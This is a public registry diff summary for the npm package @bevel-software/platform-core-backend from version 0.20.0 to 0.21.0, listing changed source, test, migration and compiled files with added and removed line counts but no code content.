@bevel-software/platform-core-backend 0.20.0 → 0.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/core/catalog-cache-invalidation.d.ts +7 -2
- package/dist/core/catalog-cache-invalidation.d.ts.map +1 -1
- package/dist/core/catalog-cache-invalidation.js +8 -9
- package/dist/core/catalog-cache-invalidation.js.map +1 -1
- package/dist/core/core-ports.d.ts +19 -0
- package/dist/core/core-ports.d.ts.map +1 -1
- package/dist/core/core-ports.js.map +1 -1
- package/dist/core/create-core-server.d.ts +2 -0
- package/dist/core/create-core-server.d.ts.map +1 -1
- package/dist/core/create-core-server.js +23 -105
- package/dist/core/create-core-server.js.map +1 -1
- package/dist/core/create-core-services.d.ts +30 -5
- package/dist/core/create-core-services.d.ts.map +1 -1
- package/dist/core/create-core-services.js +136 -81
- package/dist/core/create-core-services.js.map +1 -1
- package/dist/core/lifecycle.d.ts +74 -28
- package/dist/core/lifecycle.d.ts.map +1 -1
- package/dist/core/lifecycle.js +157 -20
- package/dist/core/lifecycle.js.map +1 -1
- package/dist/core/public-config.d.ts +5 -1
- package/dist/core/public-config.d.ts.map +1 -1
- package/dist/core/public-config.js +7 -5
- package/dist/core/public-config.js.map +1 -1
- package/dist/core-config.d.ts +95 -1
- package/dist/core-config.d.ts.map +1 -1
- package/dist/core-config.js +24 -8
- package/dist/core-config.js.map +1 -1
- package/dist/index.d.ts +5 -3
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +6 -3
- package/dist/index.js.map +1 -1
- package/dist/modules/access/access-control.service.d.ts +18 -1
- package/dist/modules/access/access-control.service.d.ts.map +1 -1
- package/dist/modules/access/access-control.service.js +19 -8
- package/dist/modules/access/access-control.service.js.map +1 -1
- package/dist/modules/access/access.routes.d.ts +2 -1
- package/dist/modules/access/access.routes.d.ts.map +1 -1
- package/dist/modules/access/access.routes.js +10 -10
- package/dist/modules/access/access.routes.js.map +1 -1
- package/dist/modules/access/change-read-gate.d.ts +6 -3
- package/dist/modules/access/change-read-gate.d.ts.map +1 -1
- package/dist/modules/access/change-read-gate.js +9 -6
- package/dist/modules/access/change-read-gate.js.map +1 -1
- package/dist/modules/access/creator-access.d.ts +4 -2
- package/dist/modules/access/creator-access.d.ts.map +1 -1
- package/dist/modules/access/creator-access.js +7 -4
- package/dist/modules/access/creator-access.js.map +1 -1
- package/dist/modules/agent-instructions/read-preamble.d.ts +2 -1
- package/dist/modules/agent-instructions/read-preamble.d.ts.map +1 -1
- package/dist/modules/agent-instructions/read-preamble.js +6 -9
- package/dist/modules/agent-instructions/read-preamble.js.map +1 -1
- package/dist/modules/auth/account-admission.d.ts +40 -0
- package/dist/modules/auth/account-admission.d.ts.map +1 -0
- package/dist/modules/auth/account-admission.js +17 -0
- package/dist/modules/auth/account-admission.js.map +1 -0
- package/dist/modules/auth/account.routes.d.ts.map +1 -1
- package/dist/modules/auth/account.routes.js +4 -1
- package/dist/modules/auth/account.routes.js.map +1 -1
- package/dist/modules/auth/auth.service.d.ts +19 -1
- package/dist/modules/auth/auth.service.d.ts.map +1 -1
- package/dist/modules/auth/auth.service.js +33 -1
- package/dist/modules/auth/auth.service.js.map +1 -1
- package/dist/modules/auth/oidc-auth-provider.d.ts.map +1 -1
- package/dist/modules/auth/oidc-auth-provider.js +9 -0
- package/dist/modules/auth/oidc-auth-provider.js.map +1 -1
- package/dist/modules/connection-probe/connection-probe.service.d.ts +13 -1
- package/dist/modules/connection-probe/connection-probe.service.d.ts.map +1 -1
- package/dist/modules/connection-probe/connection-probe.service.js +10 -2
- package/dist/modules/connection-probe/connection-probe.service.js.map +1 -1
- package/dist/modules/database/advisory-lock.d.ts +17 -0
- package/dist/modules/database/advisory-lock.d.ts.map +1 -1
- package/dist/modules/database/advisory-lock.js +24 -3
- package/dist/modules/database/advisory-lock.js.map +1 -1
- package/dist/modules/database/connection.d.ts +67 -2
- package/dist/modules/database/connection.d.ts.map +1 -1
- package/dist/modules/database/connection.js +118 -12
- package/dist/modules/database/connection.js.map +1 -1
- package/dist/modules/database/migrate.d.ts +1 -1
- package/dist/modules/database/migrate.d.ts.map +1 -1
- package/dist/modules/database/migrate.js +27 -3
- package/dist/modules/database/migrate.js.map +1 -1
- package/dist/modules/kb-fs/branch-name.d.ts +0 -1
- package/dist/modules/kb-fs/branch-name.d.ts.map +1 -1
- package/dist/modules/kb-fs/branch-name.js +3 -3
- package/dist/modules/kb-fs/branch-name.js.map +1 -1
- package/dist/modules/kb-fs/clone-config.d.ts +9 -8
- package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
- package/dist/modules/kb-fs/clone-config.js +14 -12
- package/dist/modules/kb-fs/clone-config.js.map +1 -1
- package/dist/modules/mcp/mcp.service.d.ts +7 -0
- package/dist/modules/mcp/mcp.service.d.ts.map +1 -1
- package/dist/modules/mcp/mcp.service.js +4 -4
- package/dist/modules/mcp/mcp.service.js.map +1 -1
- package/dist/modules/plugins/compile/marketplace-compiler.service.d.ts +4 -4
- package/dist/modules/plugins/compile/marketplace-compiler.service.d.ts.map +1 -1
- package/dist/modules/plugins/compile/marketplace-compiler.service.js +7 -10
- package/dist/modules/plugins/compile/marketplace-compiler.service.js.map +1 -1
- package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.d.ts +4 -1
- package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.d.ts.map +1 -1
- package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.js +5 -3
- package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.js.map +1 -1
- package/dist/modules/plugins/discovery/kb-plugin-source.d.ts +6 -1
- package/dist/modules/plugins/discovery/kb-plugin-source.d.ts.map +1 -1
- package/dist/modules/plugins/discovery/kb-plugin-source.js +14 -9
- package/dist/modules/plugins/discovery/kb-plugin-source.js.map +1 -1
- package/dist/modules/plugins/discovery/native.source.d.ts +4 -1
- package/dist/modules/plugins/discovery/native.source.d.ts.map +1 -1
- package/dist/modules/plugins/discovery/native.source.js +4 -2
- package/dist/modules/plugins/discovery/native.source.js.map +1 -1
- package/dist/modules/plugins/index.d.ts +1 -1
- package/dist/modules/plugins/index.d.ts.map +1 -1
- package/dist/modules/plugins/index.js +1 -1
- package/dist/modules/plugins/index.js.map +1 -1
- package/dist/modules/plugins/join-request-jobs.service.d.ts +3 -1
- package/dist/modules/plugins/join-request-jobs.service.d.ts.map +1 -1
- package/dist/modules/plugins/join-request-jobs.service.js +6 -6
- package/dist/modules/plugins/join-request-jobs.service.js.map +1 -1
- package/dist/modules/plugins/join-requests.service.d.ts +3 -1
- package/dist/modules/plugins/join-requests.service.d.ts.map +1 -1
- package/dist/modules/plugins/join-requests.service.js +9 -8
- package/dist/modules/plugins/join-requests.service.js.map +1 -1
- package/dist/modules/plugins/plugin-links.d.ts +65 -10
- package/dist/modules/plugins/plugin-links.d.ts.map +1 -1
- package/dist/modules/plugins/plugin-links.js +136 -31
- package/dist/modules/plugins/plugin-links.js.map +1 -1
- package/dist/modules/plugins/plugin-links.service.d.ts +107 -5
- package/dist/modules/plugins/plugin-links.service.d.ts.map +1 -1
- package/dist/modules/plugins/plugin-links.service.js +151 -21
- package/dist/modules/plugins/plugin-links.service.js.map +1 -1
- package/dist/modules/plugins/plugin-provision.service.d.ts +10 -3
- package/dist/modules/plugins/plugin-provision.service.d.ts.map +1 -1
- package/dist/modules/plugins/plugin-provision.service.js +33 -26
- package/dist/modules/plugins/plugin-provision.service.js.map +1 -1
- package/dist/modules/plugins/plugin-rename.service.d.ts +4 -2
- package/dist/modules/plugins/plugin-rename.service.d.ts.map +1 -1
- package/dist/modules/plugins/plugin-rename.service.js +10 -12
- package/dist/modules/plugins/plugin-rename.service.js.map +1 -1
- package/dist/modules/plugins/plugins.routes.d.ts +3 -0
- package/dist/modules/plugins/plugins.routes.d.ts.map +1 -1
- package/dist/modules/plugins/plugins.routes.js +45 -15
- package/dist/modules/plugins/plugins.routes.js.map +1 -1
- package/dist/modules/plugins/plugins.service.d.ts +4 -4
- package/dist/modules/plugins/plugins.service.d.ts.map +1 -1
- package/dist/modules/plugins/plugins.service.js +7 -10
- package/dist/modules/plugins/plugins.service.js.map +1 -1
- package/dist/modules/plugins/teams.routes.d.ts +4 -1
- package/dist/modules/plugins/teams.routes.d.ts.map +1 -1
- package/dist/modules/plugins/teams.routes.js +11 -9
- package/dist/modules/plugins/teams.routes.js.map +1 -1
- package/dist/modules/secrets-vault/index.d.ts +1 -1
- package/dist/modules/secrets-vault/index.d.ts.map +1 -1
- package/dist/modules/secrets-vault/index.js +1 -1
- package/dist/modules/secrets-vault/index.js.map +1 -1
- package/dist/modules/secrets-vault/secrets-variable-loader.d.ts +29 -11
- package/dist/modules/secrets-vault/secrets-variable-loader.d.ts.map +1 -1
- package/dist/modules/secrets-vault/secrets-variable-loader.js +46 -21
- package/dist/modules/secrets-vault/secrets-variable-loader.js.map +1 -1
- package/dist/modules/secrets-vault/secrets-vault.routes.d.ts +3 -0
- package/dist/modules/secrets-vault/secrets-vault.routes.d.ts.map +1 -1
- package/dist/modules/secrets-vault/secrets-vault.routes.js +4 -6
- package/dist/modules/secrets-vault/secrets-vault.routes.js.map +1 -1
- package/dist/modules/settings/deployment-settings.service.d.ts +12 -8
- package/dist/modules/settings/deployment-settings.service.d.ts.map +1 -1
- package/dist/modules/settings/deployment-settings.service.js +20 -22
- package/dist/modules/settings/deployment-settings.service.js.map +1 -1
- package/dist/modules/settings/setup.routes.d.ts +9 -2
- package/dist/modules/settings/setup.routes.d.ts.map +1 -1
- package/dist/modules/settings/setup.routes.js +20 -14
- package/dist/modules/settings/setup.routes.js.map +1 -1
- package/dist/modules/skills/allowed-tools-check.d.ts +4 -3
- package/dist/modules/skills/allowed-tools-check.d.ts.map +1 -1
- package/dist/modules/skills/allowed-tools-check.js +8 -8
- package/dist/modules/skills/allowed-tools-check.js.map +1 -1
- package/dist/modules/skills/pending-skills.service.d.ts +3 -1
- package/dist/modules/skills/pending-skills.service.d.ts.map +1 -1
- package/dist/modules/skills/pending-skills.service.js +9 -6
- package/dist/modules/skills/pending-skills.service.js.map +1 -1
- package/dist/modules/skills/skill-access-requests.routes.d.ts +2 -1
- package/dist/modules/skills/skill-access-requests.routes.d.ts.map +1 -1
- package/dist/modules/skills/skill-access-requests.routes.js +6 -6
- package/dist/modules/skills/skill-access-requests.routes.js.map +1 -1
- package/dist/modules/skills/skills.routes.d.ts +4 -1
- package/dist/modules/skills/skills.routes.d.ts.map +1 -1
- package/dist/modules/skills/skills.routes.js +4 -4
- package/dist/modules/skills/skills.routes.js.map +1 -1
- package/dist/modules/skills/skills.service.d.ts +4 -2
- package/dist/modules/skills/skills.service.d.ts.map +1 -1
- package/dist/modules/skills/skills.service.js +13 -11
- package/dist/modules/skills/skills.service.js.map +1 -1
- package/dist/modules/tool-manuals/mcp-json-discovery.d.ts +2 -1
- package/dist/modules/tool-manuals/mcp-json-discovery.d.ts.map +1 -1
- package/dist/modules/tool-manuals/mcp-json-discovery.js +6 -5
- package/dist/modules/tool-manuals/mcp-json-discovery.js.map +1 -1
- package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts +4 -2
- package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/mcp-server-edit.service.js +12 -10
- package/dist/modules/tool-manuals/mcp-server-edit.service.js.map +1 -1
- package/dist/modules/tool-manuals/pending-tools.service.d.ts +3 -1
- package/dist/modules/tool-manuals/pending-tools.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/pending-tools.service.js +19 -16
- package/dist/modules/tool-manuals/pending-tools.service.js.map +1 -1
- package/dist/modules/tool-manuals/tool-delete.service.d.ts +4 -2
- package/dist/modules/tool-manuals/tool-delete.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-delete.service.js +14 -12
- package/dist/modules/tool-manuals/tool-delete.service.js.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.routes.d.ts +3 -1
- package/dist/modules/tool-manuals/tool-manuals.routes.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.routes.js +7 -7
- package/dist/modules/tool-manuals/tool-manuals.routes.js.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.service.d.ts +4 -2
- package/dist/modules/tool-manuals/tool-manuals.service.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.service.js +15 -12
- package/dist/modules/tool-manuals/tool-manuals.service.js.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.tools.d.ts +3 -0
- package/dist/modules/tool-manuals/tool-manuals.tools.d.ts.map +1 -1
- package/dist/modules/tool-manuals/tool-manuals.tools.js +4 -6
- package/dist/modules/tool-manuals/tool-manuals.tools.js.map +1 -1
- package/dist/modules/workflow/agent-tools/workflow.tools.d.ts +3 -2
- package/dist/modules/workflow/agent-tools/workflow.tools.d.ts.map +1 -1
- package/dist/modules/workflow/agent-tools/workflow.tools.js +9 -9
- package/dist/modules/workflow/agent-tools/workflow.tools.js.map +1 -1
- package/dist/modules/workflow/git/git.service.d.ts +11 -5
- package/dist/modules/workflow/git/git.service.d.ts.map +1 -1
- package/dist/modules/workflow/git/git.service.js +23 -14
- package/dist/modules/workflow/git/git.service.js.map +1 -1
- package/dist/modules/workflow/git/node-git-runner.d.ts +26 -2
- package/dist/modules/workflow/git/node-git-runner.d.ts.map +1 -1
- package/dist/modules/workflow/git/node-git-runner.js +35 -5
- package/dist/modules/workflow/git/node-git-runner.js.map +1 -1
- package/dist/modules/workflow/review-workflow/review-workflow.service.d.ts.map +1 -1
- package/dist/modules/workflow/review-workflow/review-workflow.service.js +9 -4
- package/dist/modules/workflow/review-workflow/review-workflow.service.js.map +1 -1
- package/dist/modules/workflow/session-ontology.service.d.ts +6 -1
- package/dist/modules/workflow/session-ontology.service.d.ts.map +1 -1
- package/dist/modules/workflow/session-ontology.service.js +6 -2
- package/dist/modules/workflow/session-ontology.service.js.map +1 -1
- package/dist/modules/workflow/workflow.service.d.ts +8 -3
- package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
- package/dist/modules/workflow/workflow.service.js +33 -23
- package/dist/modules/workflow/workflow.service.js.map +1 -1
- package/dist/modules/workspace/session-ontology.gate.d.ts +3 -1
- package/dist/modules/workspace/session-ontology.gate.d.ts.map +1 -1
- package/dist/modules/workspace/session-ontology.gate.js +3 -3
- package/dist/modules/workspace/session-ontology.gate.js.map +1 -1
- package/dist/modules/workspace/startup/kb-git.d.ts +4 -3
- package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
- package/dist/modules/workspace/startup/kb-git.js +15 -13
- package/dist/modules/workspace/startup/kb-git.js.map +1 -1
- package/dist/modules/workspace/startup/kb-startup-runner.d.ts +5 -8
- package/dist/modules/workspace/startup/kb-startup-runner.d.ts.map +1 -1
- package/dist/modules/workspace/startup/kb-startup-runner.js +35 -38
- package/dist/modules/workspace/startup/kb-startup-runner.js.map +1 -1
- package/dist/modules/workspace/startup/steps/groups-to-plugins.step.d.ts +7 -1
- package/dist/modules/workspace/startup/steps/groups-to-plugins.step.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/groups-to-plugins.step.js +23 -16
- package/dist/modules/workspace/startup/steps/groups-to-plugins.step.js.map +1 -1
- package/dist/modules/workspace/startup/steps/personal-spaces.step.d.ts +7 -1
- package/dist/modules/workspace/startup/steps/personal-spaces.step.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/personal-spaces.step.js +12 -5
- package/dist/modules/workspace/startup/steps/personal-spaces.step.js.map +1 -1
- package/dist/modules/workspace/startup/steps/plugin-display-names.step.d.ts +7 -1
- package/dist/modules/workspace/startup/steps/plugin-display-names.step.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/plugin-display-names.step.js +12 -5
- package/dist/modules/workspace/startup/steps/plugin-display-names.step.js.map +1 -1
- package/dist/modules/workspace/startup/steps/plugin-manifests.step.d.ts +7 -1
- package/dist/modules/workspace/startup/steps/plugin-manifests.step.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/plugin-manifests.step.js +12 -5
- package/dist/modules/workspace/startup/steps/plugin-manifests.step.js.map +1 -1
- package/dist/modules/workspace/startup/steps/seed-tree.d.ts +4 -1
- package/dist/modules/workspace/startup/steps/seed-tree.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/seed-tree.js +14 -11
- package/dist/modules/workspace/startup/steps/seed-tree.js.map +1 -1
- package/dist/modules/workspace/startup/steps/template-files.step.d.ts +17 -3
- package/dist/modules/workspace/startup/steps/template-files.step.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/template-files.step.js +36 -30
- package/dist/modules/workspace/startup/steps/template-files.step.js.map +1 -1
- package/dist/modules/workspace/startup/steps/template-source.d.ts +6 -1
- package/dist/modules/workspace/startup/steps/template-source.d.ts.map +1 -1
- package/dist/modules/workspace/startup/steps/template-source.js +10 -6
- package/dist/modules/workspace/startup/steps/template-source.js.map +1 -1
- package/dist/modules/workspace/workspace.routes.d.ts +2 -1
- package/dist/modules/workspace/workspace.routes.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.routes.js +8 -7
- package/dist/modules/workspace/workspace.routes.js.map +1 -1
- package/dist/modules/workspace/workspace.service.d.ts +18 -12
- package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.service.js +32 -28
- package/dist/modules/workspace/workspace.service.js.map +1 -1
- package/dist/modules/workspace/workspace.tools.d.ts +2 -1
- package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.tools.js +20 -18
- package/dist/modules/workspace/workspace.tools.js.map +1 -1
- package/dist/modules/workspace/write-denial.d.ts +3 -2
- package/dist/modules/workspace/write-denial.d.ts.map +1 -1
- package/dist/modules/workspace/write-denial.js +6 -5
- package/dist/modules/workspace/write-denial.js.map +1 -1
- package/dist/shared/git.contract.d.ts +52 -7
- package/dist/shared/git.contract.d.ts.map +1 -1
- package/dist/shared/git.contract.js +30 -8
- package/dist/shared/git.contract.js.map +1 -1
- package/dist/shared/kb-context.d.ts +76 -0
- package/dist/shared/kb-context.d.ts.map +1 -0
- package/dist/shared/kb-context.js +108 -0
- package/dist/shared/kb-context.js.map +1 -0
- package/dist/shared/kb-layout.d.ts +3 -2
- package/dist/shared/kb-layout.d.ts.map +1 -1
- package/dist/shared/kb-layout.js +4 -3
- package/dist/shared/kb-layout.js.map +1 -1
- package/dist/shared/kb-layout.test.js +35 -27
- package/dist/shared/kb-layout.test.js.map +1 -1
- package/dist/shared/pending-proposals.d.ts +4 -1
- package/dist/shared/pending-proposals.d.ts.map +1 -1
- package/dist/shared/pending-proposals.js +3 -4
- package/dist/shared/pending-proposals.js.map +1 -1
- package/dist/shared/redact-secret.d.ts +5 -5
- package/dist/shared/redact-secret.js +5 -5
- package/dist/tenancy/index.d.ts +13 -0
- package/dist/tenancy/index.d.ts.map +1 -0
- package/dist/tenancy/index.js +13 -0
- package/dist/tenancy/index.js.map +1 -0
- package/dist/tenancy/static-tenant-source.d.ts +98 -0
- package/dist/tenancy/static-tenant-source.d.ts.map +1 -0
- package/dist/tenancy/static-tenant-source.js +220 -0
- package/dist/tenancy/static-tenant-source.js.map +1 -0
- package/dist/tenancy/tenant-host.d.ts +80 -0
- package/dist/tenancy/tenant-host.d.ts.map +1 -0
- package/dist/tenancy/tenant-host.js +217 -0
- package/dist/tenancy/tenant-host.js.map +1 -0
- package/dist/tenancy/tenant-runtime.d.ts +91 -0
- package/dist/tenancy/tenant-runtime.d.ts.map +1 -0
- package/dist/tenancy/tenant-runtime.js +174 -0
- package/dist/tenancy/tenant-runtime.js.map +1 -0
- package/dist/tenancy/tenant-secrets.d.ts +24 -0
- package/dist/tenancy/tenant-secrets.d.ts.map +1 -0
- package/dist/tenancy/tenant-secrets.js +30 -0
- package/dist/tenancy/tenant-secrets.js.map +1 -0
- package/dist/tenancy/tenant-source.contract.d.ts +45 -0
- package/dist/tenancy/tenant-source.contract.d.ts.map +1 -0
- package/dist/tenancy/tenant-source.contract.js +21 -0
- package/dist/tenancy/tenant-source.contract.js.map +1 -0
- package/migrations/0000_core_init.sql +14 -14
- package/migrations/0003_deployment_settings.sql +1 -1
- package/migrations/0005_github_facade.sql +1 -1
- package/migrations/0012_agent_audit.sql +6 -6
- package/package.json +3 -3
- package/src/__tests__/branch-model.test.ts +7 -6
- package/src/__tests__/kb-context.ts +30 -0
- package/src/__tests__/kb-layout-config.test.ts +35 -30
- package/src/core/__tests__/catalog-cache-invalidation.test.ts +2 -1
- package/src/core/__tests__/lifecycle.test.ts +78 -1
- package/src/core/__tests__/public-config.test.ts +5 -1
- package/src/core/catalog-cache-invalidation.ts +16 -11
- package/src/core/core-ports.ts +19 -0
- package/src/core/create-core-server.ts +27 -106
- package/src/core/create-core-services.ts +180 -95
- package/src/core/lifecycle.ts +214 -29
- package/src/core/public-config.ts +8 -5
- package/src/core-config.ts +107 -8
- package/src/index.ts +25 -2
- package/src/modules/access/__tests__/access-control.admin-root-floor.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.batch.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.folder-governs.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.group-grant.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.overrides.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.proposal-branch.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.prospective.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.revoke.test.ts +2 -1
- package/src/modules/access/__tests__/access.routes.unknown-email.test.ts +2 -1
- package/src/modules/access/__tests__/change-read-gate.test.ts +13 -11
- package/src/modules/access/__tests__/creator-access.test.ts +3 -2
- package/src/modules/access/__tests__/roles.routes.test.ts +2 -1
- package/src/modules/access/access-control.service.ts +20 -6
- package/src/modules/access/access.routes.ts +10 -13
- package/src/modules/access/change-read-gate.ts +10 -4
- package/src/modules/access/creator-access.ts +7 -2
- package/src/modules/agent-instructions/__tests__/read-preamble.test.ts +13 -12
- package/src/modules/agent-instructions/read-preamble.ts +10 -12
- package/src/modules/auth/__tests__/account.routes.test.ts +15 -0
- package/src/modules/auth/__tests__/auth.service.test.ts +60 -0
- package/src/modules/auth/account-admission.ts +44 -0
- package/src/modules/auth/account.routes.ts +4 -1
- package/src/modules/auth/auth.service.ts +33 -1
- package/src/modules/auth/oidc-auth-provider.ts +9 -0
- package/src/modules/connection-probe/connection-probe.service.ts +7 -1
- package/src/modules/database/__tests__/advisory-lock.test.ts +23 -1
- package/src/modules/database/__tests__/connection.test.ts +98 -0
- package/src/modules/database/__tests__/migrations-unqualified.test.ts +32 -0
- package/src/modules/database/advisory-lock.ts +28 -4
- package/src/modules/database/connection.ts +143 -13
- package/src/modules/database/migrate.ts +48 -14
- package/src/modules/diff/__tests__/diff.service.seed-atomicity.test.ts +2 -1
- package/src/modules/diff/__tests__/diff.service.test.ts +2 -1
- package/src/modules/kb-fs/__tests__/branch-name.test.ts +6 -6
- package/src/modules/kb-fs/__tests__/clone-config.test.ts +24 -20
- package/src/modules/kb-fs/branch-name.ts +3 -3
- package/src/modules/kb-fs/clone-config.ts +15 -12
- package/src/modules/marketplace/__tests__/marketplace-repo.head.test.ts +2 -1
- package/src/modules/mcp/mcp.service.ts +11 -4
- package/src/modules/plugins/__tests__/bundle-dialect.e2e.test.ts +12 -11
- package/src/modules/plugins/__tests__/bundle-dialect.test.ts +2 -1
- package/src/modules/plugins/__tests__/compile-marketplace.test.ts +6 -4
- package/src/modules/plugins/__tests__/join-request-jobs.service.test.ts +2 -1
- package/src/modules/plugins/__tests__/join-requests.service.test.ts +2 -1
- package/src/modules/plugins/__tests__/plugin-creation-display-name.test.ts +4 -3
- package/src/modules/plugins/__tests__/plugin-index.service.test.ts +6 -4
- package/src/modules/plugins/__tests__/plugin-links.service.test.ts +220 -5
- package/src/modules/plugins/__tests__/plugin-provision.service.test.ts +3 -1
- package/src/modules/plugins/__tests__/plugin-rename.service.test.ts +7 -6
- package/src/modules/plugins/__tests__/plugins.routes.test.ts +11 -2
- package/src/modules/plugins/__tests__/teams.routes.test.ts +2 -1
- package/src/modules/plugins/compile/marketplace-compiler.service.ts +7 -9
- package/src/modules/plugins/discovery/__tests__/kb-plugin-source.test.ts +20 -16
- package/src/modules/plugins/discovery/bundle-dialect/bundle.source.ts +9 -2
- package/src/modules/plugins/discovery/kb-plugin-source.ts +15 -8
- package/src/modules/plugins/discovery/native.source.ts +4 -1
- package/src/modules/plugins/index.ts +1 -1
- package/src/modules/plugins/join-request-jobs.service.ts +8 -7
- package/src/modules/plugins/join-requests.service.ts +7 -7
- package/src/modules/plugins/plugin-links.service.ts +192 -19
- package/src/modules/plugins/plugin-links.ts +147 -27
- package/src/modules/plugins/plugin-provision.service.ts +54 -27
- package/src/modules/plugins/plugin-rename.service.ts +10 -10
- package/src/modules/plugins/plugins.routes.ts +45 -15
- package/src/modules/plugins/plugins.service.ts +7 -11
- package/src/modules/plugins/teams.routes.ts +16 -8
- package/src/modules/secrets-vault/__tests__/connect-pending.route.test.ts +7 -0
- package/src/modules/secrets-vault/__tests__/secrets-variable-loader.test.ts +40 -0
- package/src/modules/secrets-vault/__tests__/tool-owner-gate.route.test.ts +2 -0
- package/src/modules/secrets-vault/index.ts +2 -0
- package/src/modules/secrets-vault/secrets-variable-loader.ts +51 -21
- package/src/modules/secrets-vault/secrets-vault.routes.ts +7 -6
- package/src/modules/settings/__tests__/deployment-settings.service.test.ts +24 -11
- package/src/modules/settings/__tests__/git-root-folders.test.ts +2 -1
- package/src/modules/settings/__tests__/setup.routes.boot-failure.test.ts +2 -1
- package/src/modules/settings/__tests__/setup.routes.layout-phase.test.ts +7 -4
- package/src/modules/settings/__tests__/setup.routes.oidc.test.ts +2 -0
- package/src/modules/settings/__tests__/setup.routes.sync-status.test.ts +2 -0
- package/src/modules/settings/__tests__/setup.routes.test.ts +33 -52
- package/src/modules/settings/deployment-settings.service.ts +21 -20
- package/src/modules/settings/setup.routes.ts +26 -16
- package/src/modules/skills/__tests__/allowed-tools-check.test.ts +11 -10
- package/src/modules/skills/__tests__/allowed-tools-warn.tools.test.ts +4 -3
- package/src/modules/skills/__tests__/pending-skills.service.test.ts +3 -1
- package/src/modules/skills/__tests__/skill-access-requests.routes.test.ts +2 -1
- package/src/modules/skills/__tests__/skills.routes.warnings.test.ts +2 -1
- package/src/modules/skills/__tests__/skills.service.test.ts +3 -2
- package/src/modules/skills/allowed-tools-check.ts +7 -6
- package/src/modules/skills/pending-skills.service.ts +9 -8
- package/src/modules/skills/skill-access-requests.routes.ts +7 -7
- package/src/modules/skills/skills.routes.ts +4 -3
- package/src/modules/skills/skills.service.ts +13 -9
- package/src/modules/tool-helpers/__tests__/agent-roles-write.test.ts +3 -2
- package/src/modules/tool-helpers/__tests__/phase4-tools.test.ts +3 -2
- package/src/modules/tool-manuals/__tests__/mcp-json-discovery.test.ts +17 -12
- package/src/modules/tool-manuals/__tests__/mcp-server-edit.service.test.ts +2 -1
- package/src/modules/tool-manuals/__tests__/pending-tools.service.test.ts +4 -1
- package/src/modules/tool-manuals/__tests__/tool-delete.service.test.ts +2 -1
- package/src/modules/tool-manuals/__tests__/tool-manuals.archive.route.test.ts +2 -1
- package/src/modules/tool-manuals/__tests__/tool-manuals.cli.test.ts +5 -4
- package/src/modules/tool-manuals/__tests__/tool-manuals.detail.route.test.ts +2 -1
- package/src/modules/tool-manuals/__tests__/tool-manuals.invalid.routes.test.ts +4 -2
- package/src/modules/tool-manuals/__tests__/tool-manuals.invalid.test.ts +13 -5
- package/src/modules/tool-manuals/__tests__/tool-manuals.mcp-oauth.test.ts +2 -1
- package/src/modules/tool-manuals/__tests__/tool-manuals.restart.test.ts +9 -1
- package/src/modules/tool-manuals/__tests__/tool-manuals.service.test.ts +3 -2
- package/src/modules/tool-manuals/__tests__/tool-manuals.tools.test.ts +2 -0
- package/src/modules/tool-manuals/mcp-json-discovery.ts +6 -4
- package/src/modules/tool-manuals/mcp-server-edit.service.ts +13 -11
- package/src/modules/tool-manuals/pending-tools.service.ts +19 -16
- package/src/modules/tool-manuals/tool-delete.service.ts +13 -10
- package/src/modules/tool-manuals/tool-manuals.routes.ts +10 -8
- package/src/modules/tool-manuals/tool-manuals.service.ts +15 -13
- package/src/modules/tool-manuals/tool-manuals.tools.ts +7 -6
- package/src/modules/workflow/__tests__/apply-failure.test.ts +2 -1
- package/src/modules/workflow/__tests__/merge-announces-tree.test.ts +14 -26
- package/src/modules/workflow/__tests__/preserve-roles-yaml.test.ts +2 -1
- package/src/modules/workflow/__tests__/session-ontology.service.test.ts +3 -2
- package/src/modules/workflow/__tests__/workflow.routes.lock-path.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.branch-in-use.test.ts +3 -10
- package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.deleted-branch-sweep.test.ts +3 -10
- package/src/modules/workflow/__tests__/workflow.service.facade.test.ts +28 -27
- package/src/modules/workflow/__tests__/workflow.service.folder-proposals.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.platform-restore.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.read-gate.test.ts +3 -2
- package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.sync.test.ts +5 -4
- package/src/modules/workflow/__tests__/workflow.service.update-from-target.test.ts +2 -1
- package/src/modules/workflow/agent-tools/__tests__/workflow.tools.test.ts +2 -1
